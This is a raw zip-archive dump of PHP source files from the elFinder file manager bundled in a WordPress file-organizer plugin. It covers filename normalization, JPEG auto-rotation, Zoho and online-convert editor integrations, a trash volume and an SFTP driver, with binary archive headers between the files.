            'umlauts' => false, // Convert umlauts with their closest 7 bit ascii equivalent
            'lowercase' => false, // Make chars lowercase
            'convmap' => array()// Convert map ('FROM' => 'TO') array
        );

        $this->opts = array_merge($defaults, $opts);
    }

    public function cmdPreprocess($cmd, &$args, $elfinder, $volume)
    {
        $opts = $this->getCurrentOpts($volume);
        if (!$opts['enable']) {
            return false;
        }
        $this->replaced[$cmd] = array();
        $key = (isset($this->keyMap[$cmd])) ? $this->keyMap[$cmd] : 'name';

        if (is_array($key)) {
            $keys = $key;
        } else {
            $keys = array($key);
        }
        foreach ($keys as $key) {
            if (isset($args[$key])) {
                if (is_array($args[$key])) {
                    foreach ($args[$key] as $i => $name) {
                        if ($cmd === 'mkdir' && $key === 'dirs') {
                            // $name need '/' as prefix see #2607
                            $name = '/' . ltrim($name, '/');
                            $_names = explode('/', $name);
                            $_res = array();
                            foreach ($_names as $_name) {
                                $_res[] = $this->normalize($_name, $opts);
                            }
                            $this->replaced[$cmd][$name] = $args[$key][$i] = join('/', $_res);
                        } else {
                            $this->replaced[$cmd][$name] = $args[$key][$i] = $this->normalize($name, $opts);
                        }
                    }
                } else if ($args[$key] !== '') {
                    $name = $args[$key];
                    $this->replaced[$cmd][$name] = $args[$key] = $this->normalize($name, $opts);
                }
            }
        }
        if ($cmd === 'ls' || $cmd === 'mkdir') {
            if (!empty($this->replaced[$cmd])) {
                // un-regist for legacy settings
                $elfinder->unbind($cmd, array($this, 'cmdPostprocess'));
                $elfinder->bind($cmd, array($this, 'cmdPostprocess'));
            }
        }
        return true;
    }

    public function cmdPostprocess($cmd, &$result, $args, $elfinder, $volume)
    {
        if ($cmd === 'ls') {
            if (!empty($result['list']) && !empty($this->replaced['ls'])) {
                foreach ($result['list'] as $hash => $name) {
                    if ($keys = array_keys($this->replaced['ls'], $name)) {
                        if (count($keys) === 1) {
                            $result['list'][$hash] = $keys[0];
                        } else {
                            $result['list'][$hash] = $keys;
                        }
                    }
                }
            }
        } else if ($cmd === 'mkdir') {
            if (!empty($result['hashes']) && !empty($this->replaced['mkdir'])) {
                foreach ($result['hashes'] as $name => $hash) {
                    if ($keys = array_keys($this->replaced['mkdir'], $name)) {
                        $result['hashes'][$keys[0]] = $hash;
                    }
                }
            }
        }
    }

    // NOTE: $thash is directory hash so it unneed to process at here
    public function onUpLoadPreSave(&$thash, &$name, $src, $elfinder, $volume)
    {
        $opts = $this->getCurrentOpts($volume);
        if (!$opts['enable']) {
            return false;
        }

        $name = $this->normalize($name, $opts);
        return true;
    }

    protected function normalize($str, $opts)
    {
        if ($opts['nfc'] || $opts['nfkc']) {
            if (class_exists('Normalizer', false)) {
                if ($opts['nfc'] && !Normalizer::isNormalized($str, Normalizer::FORM_C))
                    $str = Normalizer::normalize($str, Normalizer::FORM_C);
                if ($opts['nfkc'] && !Normalizer::isNormalized($str, Normalizer::FORM_KC))
                    $str = Normalizer::normalize($str, Normalizer::FORM_KC);
            } else {
                if (!class_exists('I18N_UnicodeNormalizer', false)) {
                    if (is_readable('I18N/UnicodeNormalizer.php')) {
                        include_once 'I18N/UnicodeNormalizer.php';
                    } else {
                        trigger_error('Plugin Normalizer\'s options "nfc" or "nfkc" require PHP class "Normalizer" or PEAR package "I18N_UnicodeNormalizer"', E_USER_WARNING);
                    }
                }
                if (class_exists('I18N_UnicodeNormalizer', false)) {
                    $normalizer = new I18N_UnicodeNormalizer();
                    if ($opts['nfc'])
                        $str = $normalizer->normalize($str, 'NFC');
                    if ($opts['nfkc'])
                        $str = $normalizer->normalize($str, 'NFKC');
                }
            }
        }
        if ($opts['umlauts']) {
            if (strpos($str = htmlentities($str, ENT_QUOTES, 'UTF-8'), '&') !== false) {
                $str = html_entity_decode(preg_replace('~&([a-z]{1,2})(?:acute|caron|cedil|circ|grave|lig|orn|ring|slash|tilde|uml);~i', '$1', $str), ENT_QUOTES, 'utf-8');
            }
        }
        if ($opts['convmap'] && is_array($opts['convmap'])) {
            $str = strtr($str, $opts['convmap']);
        }
        if ($opts['lowercase']) {
            if (function_exists('mb_strtolower')) {
                $str = mb_strtolower($str, 'UTF-8');
            } else {
                $str = strtolower($str);
            }
        }
        return $str;
    }
}
PK���[p�S���Jwp-content/plugins/fileorganizer/manager/php/plugins/AutoRotate/plugin.phpnu�[���<?php

/**
 * elFinder Plugin AutoRotate
 * Auto rotation on file upload of JPEG file by EXIF Orientation.
 * ex. binding, configure on connector options
 *    $opts = array(
 *        'bind' => array(
 *            'upload.presave' => array(
 *                'Plugin.AutoRotate.onUpLoadPreSave'
 *            )
 *        ),
 *        // global configure (optional)
 *        'plugin' => array(
 *            'AutoRotate' => array(
 *                'enable'         => true,       // For control by volume driver
 *                'quality'        => 95,         // JPEG image save quality
 *                'offDropWith'    => null,       // Enabled by default. To disable it if it is dropped with pressing the meta key
 *                                                // Alt: 8, Ctrl: 4, Meta: 2, Shift: 1 - sum of each value
 *                                                // In case of using any key, specify it as an array
 *                'onDropWith'     => null        // Disabled by default. To enable it if it is dropped with pressing the meta key
 *                                                // Alt: 8, Ctrl: 4, Meta: 2, Shift: 1 - sum of each value
 *                                                // In case of using any key, specify it as an array
 *            )
 *        ),
 *        // each volume configure (optional)
 *        'roots' => array(
 *            array(
 *                'driver' => 'LocalFileSystem',
 *                'path'   => '/path/to/files/',
 *                'URL'    => 'http://localhost/to/files/'
 *                'plugin' => array(
 *                    'AutoRotate' => array(
 *                        'enable'         => true,       // For control by volume driver
 *                        'quality'        => 95,         // JPEG image save quality
 *                        'offDropWith'    => null,       // Enabled by default. To disable it if it is dropped with pressing the meta key
 *                                                        // Alt: 8, Ctrl: 4, Meta: 2, Shift: 1 - sum of each value
 *                                                        // In case of using any key, specify it as an array
 *                        'onDropWith'     => null        // Disabled by default. To enable it if it is dropped with pressing the meta key
 *                                                        // Alt: 8, Ctrl: 4, Meta: 2, Shift: 1 - sum of each value
 *                                                        // In case of using any key, specify it as an array
 *                    )
 *                )
 *            )
 *        )
 *    );
 *
 * @package elfinder
 * @author  Naoki Sawada
 * @license New BSD
 */
class elFinderPluginAutoRotate extends elFinderPlugin
{

    public function __construct($opts)
    {
        $defaults = array(
            'enable' => true,       // For control by volume driver
            'quality' => 95,         // JPEG image save quality
            'offDropWith' => null,       // To disable it if it is dropped with pressing the meta key
            // Alt: 8, Ctrl: 4, Meta: 2, Shift: 1 - sum of each value
            // In case of using any key, specify it as an array
            'disableWithContentSaveId' => true // Disable on URL upload with post data "contentSaveId"
        );

        $this->opts = array_merge($defaults, $opts);

    }

    public function onUpLoadPreSave(&$thash, &$name, $src, $elfinder, $volume)
    {
        if (!$src) {
            return false;
        }

        $opts = $this->getCurrentOpts($volume);

        if (!$this->iaEnabled($opts, $elfinder)) {
            return false;
        }

        $imageType = null;
        $srcImgInfo = null;
        if (extension_loaded('fileinfo') && function_exists('mime_content_type')) {
            $mime = mime_content_type($src);
            if (substr($mime, 0, 5) !== 'image') {
                return false;
            }
        }
        if (extension_loaded('exif') && function_exists('exif_imagetype')) {
            $imageType = exif_imagetype($src);
            if ($imageType === false) {
                return false;
            }
        } else {
            $srcImgInfo = getimagesize($src);
            if ($srcImgInfo === false) {
                return false;
            }
            $imageType = $srcImgInfo[2];
        }

        // check target image type
        if ($imageType !== IMAGETYPE_JPEG) {
            return false;
        }

        if (!$srcImgInfo) {
            $srcImgInfo = getimagesize($src);
        }

        return $this->rotate($volume, $src, $srcImgInfo, $opts['quality']);
    }

    private function rotate($volume, $src, $srcImgInfo, $quality)
    {
        if (!function_exists('exif_read_data')) {
            return false;
        }
        $degree = 0;
        $errlev =error_reporting();
        error_reporting($errlev ^ E_WARNING);
        $exif = exif_read_data($src);
        error_reporting($errlev);
        if ($exif && !empty($exif['Orientation'])) {
            switch ($exif['Orientation']) {
                case 8:
                    $degree = 270;
                    break;
                case 3:
                    $degree = 180;
                    break;
                case 6:
                    $degree = 90;
                    break;
            }
        }
        if (!$degree)  {
            return false;
        }
        $opts = array(
            'degree' => $degree,
            'jpgQuality' => $quality,
            'checkAnimated' => true
        );
        return $volume->imageUtil('rotate', $src, $opts);
    }
}
PK���[(B|%��Qwp-content/plugins/fileorganizer/manager/php/plugins/WinRemoveTailDots/plugin.phpnu�[���<?php
/**
 * This class describes elFinder plugin window remove tail dots.
 * This plugin is automatically loaded on the Windows server
 * and enabled in the LocalFileSystem driver.
 */
class elFinderPluginWinRemoveTailDots extends elFinderPlugin
{
    private $replaced = array();
    private $keyMap = array(
        'ls' => 'intersect',
        'upload' => 'renames',
        'mkdir' => array('name', 'dirs')
    );

    public function __construct($opts)
    {
        $defaults = array(
            'enable' => false,  // For control by volume driver
        );

        $this->opts = array_merge($defaults, $opts);
    }

    public function cmdPreprocess($cmd, &$args, $elfinder, $volume)
    {
        $opts = $this->getCurrentOpts($volume);
        if (!$opts['enable']) {
            return false;
        }
        $this->replaced[$cmd] = array();
        $key = (isset($this->keyMap[$cmd])) ? $this->keyMap[$cmd] : 'name';

        if (is_array($key)) {
            $keys = $key;
        } else {
            $keys = array($key);
        }
        foreach ($keys as $key) {
            if (isset($args[$key])) {
                if (is_array($args[$key])) {
                    foreach ($args[$key] as $i => $name) {
                        if ($cmd === 'mkdir' && $key === 'dirs') {
                            // $name need '/' as prefix see #2607
                            $name = '/' . ltrim($name, '/');
                            $_names = explode('/', $name);
                            $_res = array();
                            foreach ($_names as $_name) {
                                $_res[] = $this->normalize($_name, $opts);
                            }
                            $this->replaced[$cmd][$name] = $args[$key][$i] = join('/', $_res);
                        } else {
                            $this->replaced[$cmd][$name] = $args[$key][$i] = $this->normalize($name, $opts);
                        }
                    }
                } else if ($args[$key] !== '') {
                    $name = $args[$key];
                    $this->replaced[$cmd][$name] = $args[$key] = $this->normalize($name, $opts);
                }
            }
        }
        if ($cmd === 'ls' || $cmd === 'mkdir') {
            if (!empty($this->replaced[$cmd])) {
                // un-regist for legacy settings
                $elfinder->unbind($cmd, array($this, 'cmdPostprocess'));
                $elfinder->bind($cmd, array($this, 'cmdPostprocess'));
            }
        }
        return true;
    }

    public function cmdPostprocess($cmd, &$result, $args, $elfinder, $volume)
    {
        if ($cmd === 'ls') {
            if (!empty($result['list']) && !empty($this->replaced['ls'])) {
                foreach ($result['list'] as $hash => $name) {
                    if ($keys = array_keys($this->replaced['ls'], $name)) {
                        if (count($keys) === 1) {
                            $result['list'][$hash] = $keys[0];
                        } else {
                            $result['list'][$hash] = $keys;
                        }
                    }
                }
            }
        } else if ($cmd === 'mkdir') {
            if (!empty($result['hashes']) && !empty($this->replaced['mkdir'])) {
                foreach ($result['hashes'] as $name => $hash) {
                    if ($keys = array_keys($this->replaced['mkdir'], $name)) {
                        $result['hashes'][$keys[0]] = $hash;
                    }
                }
            }
        }
    }

    // NOTE: $thash is directory hash so it unneed to process at here
    public function onUpLoadPreSave(&$thash, &$name, $src, $elfinder, $volume)
    {
        $opts = $this->getCurrentOpts($volume);
        if (!$opts['enable']) {
            return false;
        }

        $name = $this->normalize($name, $opts);
        return true;
    }

    protected function normalize($str, $opts)
    {
        $str = rtrim($str, '.');
        return $str;
    }
} // END class elFinderPluginWinRemoveTailDots
PK���[��Hx�!�!Jwp-content/plugins/fileorganizer/manager/php/editors/ZohoOffice/editor.phpnu�[���<?php

class elFinderEditorZohoOffice extends elFinderEditor
{
    private static $curlTimeout = 20;

    protected $allowed = array('init', 'save', 'chk');

    protected $editor_settings = array(
        'writer' => array(
            'unit' => 'mm',
            'view' => 'pageview'
        ),
        'sheet' => array(
            'country' => 'US'
        ),
        'show' => array()
    );

    private $urls = array(
        'writer' => 'https://writer.zoho.com/writer/officeapi/v1/document',
        'sheet' => 'https://sheet.zoho.com/sheet/officeapi/v1/spreadsheet',
        'show' => 'https://show.zoho.com/show/officeapi/v1/presentation',
    );

    private $srvs = array(
        'application/msword' => 'writer',
        'application/vnd.openxmlformats-officedocument.wordprocessingml.document' => 'writer',
        'application/pdf' => 'writer',
        'application/vnd.oasis.opendocument.text' => 'writer',
        'application/rtf' => 'writer',
        'text/html' => 'writer',
        'application/vnd.ms-excel' => 'sheet',
        'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' => 'sheet',
        'application/vnd.oasis.opendocument.spreadsheet' => 'sheet',
        'application/vnd.sun.xml.calc' => 'sheet',
        'text/csv' => 'sheet',
        'text/tab-separated-values' => 'sheet',
        'application/vnd.ms-powerpoint' => 'show',
        'application/vnd.openxmlformats-officedocument.presentationml.presentation' => 'show',
        'application/vnd.openxmlformats-officedocument.presentationml.slideshow' => 'show',
        'application/vnd.oasis.opendocument.presentation' => 'show',
        'application/vnd.sun.xml.impress' => 'show',
    );

    private $myName = '';

    public function __construct($elfinder, $args)
    {
        parent::__construct($elfinder, $args);
        $this->myName = preg_replace('/^elFinderEditor/i', '', get_class($this));
    }

    public function enabled()
    {
        return defined('ELFINDER_ZOHO_OFFICE_APIKEY') && ELFINDER_ZOHO_OFFICE_APIKEY && function_exists('curl_init');
    }

    public function init()
    {
        if (!defined('ELFINDER_ZOHO_OFFICE_APIKEY') || !function_exists('curl_init')) {
            return array('error', array(elFinder::ERROR_CONF, '`ELFINDER_ZOHO_OFFICE_APIKEY` or curl extension'));
        }
        if (!empty($this->args['target'])) {
            $fp = $cfile = null;
            $hash = $this->args['target'];
            /** @var elFinderVolumeDriver $srcVol */
            if (($srcVol = $this->elfinder->getVolume($hash)) && ($file = $srcVol->file($hash))) {
                $cdata = empty($this->args['cdata']) ? '' : $this->args['cdata'];
                $cookie = $this->elfinder->getFetchCookieFile();
                $save = false;
                $ch = curl_init();
                $conUrl = elFinder::getConnectorUrl();
                curl_setopt($ch, CURLOPT_URL, $conUrl . (strpos($conUrl, '?') !== false? '&' : '?') . 'cmd=editor&name=' . $this->myName . '&method=chk&args[target]=' . rawurlencode($hash) . $cdata);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                if ($cookie) {
                    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
                    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie);
                }
                $res = curl_exec($ch);
                curl_close($ch);
                if ($res) {
                    if ($data = json_decode($res, true)) {
                        $save = !empty($data['cansave']);
                    }
                }

                if ($size = $file['size']) {
                    $src = $srcVol->open($hash);
                    $fp = tmpfile();
                    stream_copy_to_stream($src, $fp);
                    $srcVol->close($src, $hash);
                    $info = stream_get_meta_data($fp);
                    if ($info && !empty($info['uri'])) {
                        $srcFile = $info['uri'];
                        if (class_exists('CURLFile')) {
                            $cfile = new CURLFile($srcFile);
                            $cfile->setPostFilename($file['name']);
                            $cfile->setMimeType($file['mime']);
                        } else {
                            $cfile = '@' . $srcFile;
                        }
                    }
                }
                //$srv = $this->args['service'];
                $format = $srcVol->getExtentionByMime($file['mime']);
                if (!$format) {
                    $format = substr($file['name'], strrpos($file['name'], '.') * -1);
                }
                $lang = $this->args['lang'];
                if ($lang === 'jp') {
                    $lang = 'ja';
                }
                $srvsName = $this->srvs[$file['mime']];
                $data = array(
                    'apikey' => ELFINDER_ZOHO_OFFICE_APIKEY,
                    'callback_settings' => array(
                        'save_format' => $format,
                        'context_info' => array(
                            'hash' => $hash
                        )
                    ),
                    'editor_settings' => $this->editor_settings[$srvsName],
                    'document_info' => array(
                        'document_name' => substr($file['name'], 0, strlen($file['name']) - strlen($format)- 1)
                    )
                );
                $data['editor_settings']['language'] = $lang;
                if ($save) {
                    $conUrl = elFinder::getConnectorUrl();
                    $data['callback_settings']['save_url'] = $conUrl . (strpos($conUrl, '?') !== false? '&' : '?') . 'cmd=editor&name=' . $this->myName . '&method=save' . $cdata;
                }
                foreach($data as $_k => $_v) {
                    if (is_array($_v)){
                        $data[$_k] = json_encode($_v);
                    }
                }
                if ($cfile) {
                    $data['document'] = $cfile;
                }
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $this->urls[$srvsName]);
                curl_setopt($ch, CURLOPT_TIMEOUT, self::$curlTimeout);
                curl_setopt($ch, CURLOPT_HEADER, 0);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
                $res = curl_exec($ch);
                $error = curl_error($ch);
                curl_close($ch);

                $fp && fclose($fp);

                if ($res && $res = @json_decode($res, true)) {
                    if (!empty($res['document_url'])) {
                        $ret = array('zohourl' => $res['document_url']);
                        if (!$save) {
                            $ret['warning'] = 'exportToSave';
                        }
                        return $ret;
                    } else {
                        $error = $res;
                    }
                }

                if ($error) {
                    return array('error' => is_string($error)? preg_split('/[\r\n]+/', $error) : 'Error code: ' . $error);
                }
            }
        }

        return array('error' => array('errCmdParams', 'editor.' . $this->myName . '.init'));
    }

    public function save()
    {
        if (!empty($_POST) && !empty($_POST['id']) && !empty($_FILES) && !empty($_FILES['content'])) {
            $data = @json_decode(str_replace('&quot;', '"', $_POST['id']), true);
            if (!empty($data['hash'])) {
                $hash = $data['hash'];
                /** @var elFinderVolumeDriver $volume */
                if ($volume = $this->elfinder->getVolume($hash)) {
                    if ($content = file_get_contents($_FILES['content']['tmp_name'])) {
                        if ($volume->putContents($hash, $content)) {
                            return array('raw' => true, 'error' => '', 'header' => 'HTTP/1.1 200 OK');
                        }
                    }
                }
            }
        }
        return array('raw' => true, 'error' => '', 'header' => 'HTTP/1.1 500 Internal Server Error');
    }

    public function chk()
    {
        $hash = $this->args['target'];
        $res = false;
        /** @var elFinderVolumeDriver $volume */
        if ($volume = $this->elfinder->getVolume($hash)) {
            if ($file = $volume->file($hash)) {
                $res = (bool)$file['write'];
            }
        }
        return array('cansave' => $res);
    }
}
PK���[�KW
��?wp-content/plugins/fileorganizer/manager/php/editors/editor.phpnu�[���<?php

/**
 * Abstract class of editor plugins.
 *
 * @author Naoki Sawada
 */
class elFinderEditor
{
    /**
     * Array of allowed method by request from client side.
     *
     * @var array
     */
    protected $allowed = array();

    /**
     * elFinder instance
     *
     * @var object elFinder instance
     */
    protected $elfinder;

    /**
     * Arguments
     *
     * @var array argValues
     */
    protected $args;

    /**
     * Constructor.
     *
     * @param object $elfinder
     * @param array  $args
     */
    public function __construct($elfinder, $args)
    {
        $this->elfinder = $elfinder;
        $this->args = $args;
    }

    /**
     * Return boolean that this plugin is enabled.
     *
     * @return bool
     */
    public function enabled()
    {
        return true;
    }

    /**
     * Return boolean that $name method is allowed.
     *
     * @param string $name
     *
     * @return bool
     */
    public function isAllowedMethod($name)
    {
        $checker = array_flip($this->allowed);

        return isset($checker[$name]);
    }

    /**
     * Return $this->args value of the key
     *
     * @param      string $key   target key
     * @param      string $empty empty value
     *
     * @return     mixed
     */
    public function argValue($key, $empty = '')
    {
        return isset($this->args[$key]) ? $this->args[$key] : $empty;
    }
}
PK���[��Y��Mwp-content/plugins/fileorganizer/manager/php/editors/OnlineConvert/editor.phpnu�[���<?php

class elFinderEditorOnlineConvert extends elFinderEditor
{
    protected $allowed = array('init', 'api');

    public function enabled()
    {
        return defined('ELFINDER_ONLINE_CONVERT_APIKEY') && ELFINDER_ONLINE_CONVERT_APIKEY && (!defined('ELFINDER_DISABLE_ONLINE_CONVERT') || !ELFINDER_DISABLE_ONLINE_CONVERT);
    }

    public function init()
    {
        return array('api' => defined('ELFINDER_ONLINE_CONVERT_APIKEY') && ELFINDER_ONLINE_CONVERT_APIKEY && function_exists('curl_init'));
    }

    public function api()
    {
        // return array('apires' => array('message' => 'Currently disabled for developping...'));
        $endpoint = 'https://api2.online-convert.com/jobs';
        $category = $this->argValue('category');
        $convert = $this->argValue('convert');
        $options = $this->argValue('options');
        $source = $this->argValue('source');
        $filename = $this->argValue('filename');
        $mime = $this->argValue('mime');
        $jobid = $this->argValue('jobid');
        $string_method = '';
        $options = array();
        // Currently these converts are make error with API call. I don't know why.
        $nonApi = array('android', 'blackberry', 'dpg', 'ipad', 'iphone', 'ipod', 'nintendo-3ds', 'nintendo-ds', 'ps3', 'psp', 'wii', 'xbox');
        if (in_array($convert, $nonApi)) {
            return array('apires' => array());
        }
        $ch = null;
        if ($convert && $source) {
            $request = array(
                'input' => array(array(
                    'type' => 'remote',
                    'source' => $source
                )),
                'conversion' => array(array(
                    'target' => $convert
                ))
            );

            if ($filename !== '') {
                $request['input'][0]['filename'] = $filename;
            }

            if ($mime !== '') {
                $request['input'][0]['content_type'] = $mime;
            }

            if ($category) {
                $request['conversion'][0]['category'] = $category;
            }

            if ($options && $options !== 'null') {
                $options = json_decode($options, true);
            }
            if (!is_array($options)) {
                $options = array();
            }
            if ($options) {
                $request['conversion'][0]['options'] = $options;
            }

            $ch = curl_init($endpoint);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
            curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($request));
            curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
            curl_setopt($ch, CURLOPT_HTTPHEADER, array(
                'X-Oc-Api-Key: ' . ELFINDER_ONLINE_CONVERT_APIKEY,
                'Content-Type: application/json',
                'cache-control: no-cache'
            ));
        } else if ($jobid) {
            $ch = curl_init($endpoint . '/' . $jobid);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
            curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
            curl_setopt($ch, CURLOPT_HTTPHEADER, array(
                'X-Oc-Api-Key: ' . ELFINDER_ONLINE_CONVERT_APIKEY,
                'cache-control: no-cache'
            ));
        }

        if ($ch) {
            $response = curl_exec($ch);
            $info = curl_getinfo($ch);
            $error = curl_error($ch);
            curl_close($ch);

            if (!empty($error)) {
                $res = array('error' => $error);
            } else {
                $data = json_decode($response, true);
                if (isset($data['status']) && isset($data['status']['code']) && $data['status']['code'] === 'completed') {
                    /** @var elFinderSession $session */
                    $session = $this->elfinder->getSession();
                    $urlContentSaveIds = $session->get('urlContentSaveIds', array());
                    $urlContentSaveIds['OnlineConvert-' . $data['id']] = true;
                    $session->set('urlContentSaveIds', $urlContentSaveIds);
                }
                $res = array('apires' => $data);
            }

            return $res;
        } else {
            return array('error' => array('errCmdParams', 'editor.OnlineConvert.api'));
        }
    }
}
PK���[��e���Jwp-content/plugins/fileorganizer/manager/php/editors/ZipArchive/editor.phpnu�[���<?php

class elFinderEditorZipArchive extends elFinderEditor
{
    public function enabled()
    {
        return (!defined('ELFINDER_DISABLE_ZIPEDITOR') || !ELFINDER_DISABLE_ZIPEDITOR) &&
            class_exists('Barryvdh\elFinderFlysystemDriver\Driver') &&
            class_exists('League\Flysystem\Filesystem') &&
            class_exists('League\Flysystem\ZipArchive\ZipArchiveAdapter');
    }
}PK���[BEe((Owp-content/plugins/fileorganizer/manager/php/elFinderVolumeTrashMySQL.class.phpnu�[���<?php

/**
 * elFinder driver for trash bin at MySQL Database
 *
 * @author NaokiSawada
 **/
class elFinderVolumeTrashMySQL extends elFinderVolumeMySQL
{
    /**
     * Driver id
     * Must be started from letter and contains [a-z0-9]
     * Used as part of volume id.
     *
     * @var string
     **/
    protected $driverId = 'tm';

    public function __construct()
    {
        parent::__construct();
        // original option of the Trash
        $this->options['lockEverything'] = false; // Lock all items in the trash to disable delete, move, rename.

        // common options as the volume driver
        $this->options['alias'] = 'Trash';
        $this->options['quarantine'] = '';
        $this->options['rootCssClass'] = 'elfinder-navbar-root-trash';
        $this->options['copyOverwrite'] = false;
        $this->options['uiCmdMap'] = array('paste' => 'hidden', 'mkdir' => 'hidden', 'copy' => 'restore');
        $this->options['disabled'] = array('archive', 'duplicate', 'edit', 'extract', 'mkfile', 'places', 'put', 'rename', 'resize', 'upload');
    }

    public function mount(array $opts)
    {
        if ($this->options['lockEverything']) {
            if (!is_array($opts['attributes'])) {
                $opts['attributes'] = array();
            }
            $attr = array(
                'pattern' => '/./',
                'locked' => true,
            );
            array_unshift($opts['attributes'], $attr);
        }
        // force set `copyJoin` to true
        $opts['copyJoin'] = true;

        return parent::mount($opts);
    }
}
PK���[ˤ��FFIwp-content/plugins/fileorganizer/manager/php/elFinderSessionInterface.phpnu�[���<?php

/**
 * elFinder - file manager for web.
 * Session Wrapper Interface.
 *
 * @package elfinder
 * @author  Naoki Sawada
 **/

interface elFinderSessionInterface
{
    /**
     * Session start
     *
     * @return  self
     **/
    public function start();

    /**
     * Session write & close
     *
     * @return  self
     **/
    public function close();

    /**
     * Get session data
     * This method must be equipped with an automatic start / close.
     *
     * @param   string $key   Target key
     * @param   mixed  $empty Return value of if session target key does not exist
     *
     * @return  mixed
     **/
    public function get($key, $empty = '');

    /**
     * Set session data
     * This method must be equipped with an automatic start / close.
     *
     * @param   string $key  Target key
     * @param   mixed  $data Value
     *
     * @return  self
     **/
    public function set($key, $data);

    /**
     * Get session data
     *
     * @param   string $key Target key
     *
     * @return  self
     **/
    public function remove($key);
}
PK���[���;wp-content/plugins/fileorganizer/manager/php/.tmp/.htaccessnu�[���order deny,allow
deny from all
PK���[�a��hjhjRwp-content/plugins/fileorganizer/manager/php/elFinderVolumeSFTPphpseclib.class.phpnu�[���<?php

/**
 * Simple elFinder driver for SFTP using phpseclib 1
 *
 * @author Dmitry (dio) Levashov
 * @author Cem (discofever), sitecode
 * @reference http://phpseclib.sourceforge.net/sftp/2.0/examples.html
 **/
class elFinderVolumeSFTPphpseclib extends elFinderVolumeFTP {

    /**
     * Constructor
     * Extend options with required fields
     *
     * @author Dmitry (dio) Levashov
     * @author Cem (DiscoFever)
     */
    public function __construct()
    {
        $opts = array(
            'host' => 'localhost',
            'user' => '',
            'pass' => '',
            'port' => 22,
            'path' => '/',
            'timeout' => 20,
            'owner' => true,
            'tmbPath' => '',
            'tmpPath' => '',
            'separator' => '/',
            'phpseclibDir' => '../phpseclib/',
            'connectCallback' => null, //provide your own already instantiated phpseclib $Sftp object returned by this callback
                                       //'connectCallback'=> function($options) {
                                       //     //load and instantiate phpseclib $sftp
                                       //     return $sftp;
                                       // },
            'checkSubfolders' => -1,
            'dirMode' => 0755,
            'fileMode' => 0644,
            'rootCssClass' => 'elfinder-navbar-root-ftp',
        );
        $this->options = array_merge($this->options, $opts);
        $this->options['mimeDetect'] = 'internal';
    }

    /**
     * Prepare
     * Call from elFinder::netmout() before volume->mount()
     *
     * @param $options
     *
     * @return array volume root options
     * @author Naoki Sawada
     */
    public function netmountPrepare($options)
    {
        $options['statOwner'] = true;
        $options['allowChmodReadOnly'] = true;
        $options['acceptedName'] = '#^[^/\\?*:|"<>]*[^./\\?*:|"<>]$#';
        return $options;
    }

    /*********************************************************************/
    /*                        INIT AND CONFIGURE                         */
    /*********************************************************************/

    /**
     * Prepare SFTP connection
     * Connect to remote server and check if credentials are correct, if so, store the connection
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     * @author Cem (DiscoFever)
     **/
    protected function init()
    {
        if (!$this->options['connectCallback']) {
            if (!$this->options['host']
                || !$this->options['port']) {
                return $this->setError('Required options undefined.');
            }

            if (!$this->options['path']) {
                $this->options['path'] = '/';
            }

            // make net mount key
            $this->netMountKey = md5(join('-', array('sftpphpseclib', $this->options['host'], $this->options['port'], $this->options['path'], $this->options['user'])));

            set_include_path(get_include_path() . PATH_SEPARATOR . getcwd().'/'.$this->options['phpseclibDir']);
            include_once('Net/SFTP.php');

            if (!class_exists('Net_SFTP')) {
                return $this->setError('SFTP extension not loaded. Install phpseclib version 1: http://phpseclib.sourceforge.net/ Set option "phpseclibDir" accordingly.');
            }

            // remove protocol from host
            $scheme = parse_url($this->options['host'], PHP_URL_SCHEME);

            if ($scheme) {
                $this->options['host'] = substr($this->options['host'], strlen($scheme) + 3);
            }
        } else {
            // make net mount key
            $this->netMountKey = md5(join('-', array('sftpphpseclib', $this->options['path'])));
        }

        // normalize root path
        $this->root = $this->options['path'] = $this->_normpath($this->options['path']);

        if (empty($this->options['alias'])) {
            $this->options['alias'] = $this->options['user'] . '@' . $this->options['host'];
            if (!empty($this->options['netkey'])) {
                elFinder::$instance->updateNetVolumeOption($this->options['netkey'], 'alias', $this->options['alias']);
            }
        }

        $this->rootName = $this->options['alias'];
        $this->options['separator'] = '/';

        if (is_null($this->options['syncChkAsTs'])) {
            $this->options['syncChkAsTs'] = true;
        }

        return $this->needOnline? $this->connect() : true;

    }


    /**
     * Configure after successfull mount.
     *
     * @return void
     * @throws elFinderAbortException
     * @author Dmitry (dio) Levashov
     */
    protected function configure()
    {
        parent::configure();

        if (!$this->tmp) {
            $this->disabled[] = 'mkfile';
            $this->disabled[] = 'paste';
            $this->disabled[] = 'upload';
            $this->disabled[] = 'edit';
            //$this->disabled[] = 'archive';
            //$this->disabled[] = 'extract';
        }

        $this->disabled[] = 'archive';
        $this->disabled[] = 'extract';
    }

    /**
     * Connect to sftp server
     *
     * @return bool
     * @author sitecode
     **/
    protected function connect()
    {
        //use ca
        if ($this->options['connectCallback']) {
            $this->connect = $this->options['connectCallback']($this->options);
            if (!$this->connect || !$this->connect->isConnected()) {
                return $this->setError('Unable to connect successfully');
            }

            return true;
        }

        try{
            $host = $this->options['host'] . ($this->options['port'] != 22 ? ':' . $this->options['port'] : '');
            $this->connect = new Net_SFTP($host);
            //TODO check fingerprint before login, fail if no match to last time
            if (!$this->connect->login($this->options['user'], $this->options['pass'])) {
                return $this->setError('Unable to connect to SFTP server ' . $host);
            }
        } catch (Exception $e) {
            return $this->setError('Error while connecting to SFTP server '  . $host . ': ' . $e->getMessage());
        }

        if (!$this->connect->chdir($this->root)
            /*|| $this->root != $this->connect->pwd()*/) {
            //$this->umount();
            return $this->setError('Unable to open root folder.');
        }

        return true;
    }

    /**
     * Call rawlist
     *
     * @param string $path
     *
     * @return array
     */
    protected function ftpRawList($path)
    {
        return $this->connect->rawlist($path ?: '.') ?: [];
/*
        $raw = $this->connect->rawlist($path ?: '.') ?: [];
        $raw = array_map(function($key, $value) {
